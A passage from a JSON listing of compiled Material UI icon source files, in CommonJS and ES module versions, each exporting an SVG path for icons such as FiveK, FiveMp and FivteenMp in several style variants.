    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-11 7.5H7.5v1H10V15H6v-1.5h2.5v-1H6V9h4zm6 4.5h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm3-2.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'FiveKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKPlusTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm6-10h1.5v2.25L14.25 9H16l-2.25 3L16 15h-1.75l-1.75-2.25V15H11zm-5 4.5h2.5v-1H6V9h4v1.5H7.5v1H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 14v-1.5c0-.55-.45-1-1-1H7.5v-1H10V9H6v3.5h2.5v1H6V15h3c.55 0 1-.45 1-1m2.5-1.25L14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"2\")], 'FiveKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKPlusTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm6-10h1.5v2.25L14.25 9H16l-2.25 3L16 15h-1.75l-1.75-2.25V15H11zm-5 4.5h2.5v-1H6V9h4v1.5H7.5v1H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 14v-1.5c0-.55-.45-1-1-1H7.5v-1H10V9H6v3.5h2.5v1H6V15h3c.55 0 1-.45 1-1m2.5-1.25L14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"2\")], 'FiveKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.75 7.5H8v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H9.5v-1H7.25c-.41 0-.75-.34-.75-.75v-2c0-.41.34-.75.75-.75h3c.41 0 .75.34.75.75s-.34.75-.75.75m6.34 4.5c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L15.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'FiveKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.75 7.5H8v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H9.5v-1H7.25c-.41 0-.75-.34-.75-.75v-2c0-.41.34-.75.75-.75h3c.41 0 .75.34.75.75s-.34.75-.75.75m6.34 4.5c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L15.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'FiveKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-10 7.5H8v1h3V15H6.5v-1.5h3v-1h-3V9H11zm7 4.5h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'FiveKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-10 7.5H8v1h3V15H6.5v-1.5h3v-1h-3V9H11zm7 4.5h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'FiveKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm8-10h1.5v2.25L16.25 9H18l-2.25 3L18 15h-1.75l-1.75-2.25V15H13zm-6.5 4.5h3v-1h-3V9H11v1.5H8v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H6.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 14v-1.5c0-.55-.45-1-1-1H8v-1h3V9H6.5v3.5h3v1h-3V15H10c.55 0 1-.45 1-1m3.5-1.25L16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"2\")], 'FiveKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveKTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm8-10h1.5v2.25L16.25 9H18l-2.25 3L18 15h-1.75l-1.75-2.25V15H13zm-6.5 4.5h3v-1h-3V9H11v1.5H8v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H6.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 14v-1.5c0-.55-.45-1-1-1H8v-1h3V9H6.5v3.5h3v1h-3V15H10c.55 0 1-.45 1-1m3.5-1.25L16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"2\")], 'FiveKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM14.5 7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H10V10h3V9h-3V5.5h4.5zm1 7H17v1.5h-1.5z\"\n}), 'FiveMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM14.5 7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H10V10h3V9h-3V5.5h4.5zm1 7H17v1.5h-1.5z\"\n}), 'FiveMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 10.5V9c0-.55-.45-1-1-1h-2V7h3V5.5H10V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"2\")], 'FiveMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 10.5V9c0-.55-.45-1-1-1h-2V7h3V5.5H10V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"2\")], 'FiveMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 6c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.75c.41 0 .75.34.75.75s-.34.75-.75.75H11.5v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1h-2.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H13V9zm1.5 8.75c0 .41-.34.75-.75.75s-.75-.33-.75-.75V14h-1v2.25c0 .42-.34.75-.75.75s-.75-.33-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.17 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'FiveMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 6c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.75c.41 0 .75.34.75.75s-.34.75-.75.75H11.5v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1h-2.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H13V9zm1.5 8.75c0 .41-.34.75-.75.75s-.75-.33-.75-.75V14h-1v2.25c0 .42-.34.75-.75.75s-.75-.33-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.17 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'FiveMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm7 7h3V9h-3V5.5h4.5V7h-3v1h3v3.5H10zm2.5 8.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'FiveMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm7 7h3V9h-3V5.5h4.5V7h-3v1h3v3.5H10zm2.5 8.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'FiveMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M10 10h3V9h-3V5.5h4.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H10zm-4 3.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 10.5V9c0-.55-.45-1-1-1h-2V7h3V5.5H10V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"4\")], 'FiveMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FiveMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M10 10h3V9h-3V5.5h4.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H10zm-4 3.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 10.5V9c0-.55-.45-1-1-1h-2V7h3V5.5H10V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1\"\n}, \"4\")], 'FiveMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FivteenMp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1v5zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2v1.5zM10 5.5v6H8.5V7H7V5.5h3zM16.5 7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H12V10h3V9h-3V5.5h4.5V7zm-1 7H17v1.5h-1.5z\"\n}), 'FivteenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FivteenMp.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1v5zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2v1.5zM10 5.5v6H8.5V7H7V5.5h3zM16.5 7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H12V10h3V9h-3V5.5h4.5V7zm-1 7H17v1.5h-1.5z\"\n}), 'FivteenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FivteenMpOutlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5V14zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6zM15 14h1.5v1.5H15V14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H12V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1z\"\n}, \"2\")], 'FivteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FivteenMpOutlined.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5V14zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6zM15 14h1.5v1.5H15V14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H12V9h3v1h-3v1.5h3.5c.55 0 1-.45 1-1z\"\n}, \"2\")], 'FivteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FivteenMpRounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75zm4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v4.25zm-.5-7c0-.41.34-.75.75-.75H15V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.75c.41 0 .75.34.75.75s-.34.75-.75.75H13.5v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1h-2.75c-.41 0-.75-.34-.75-.75zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1V16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'FivteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FivteenMpRounded.mjs",
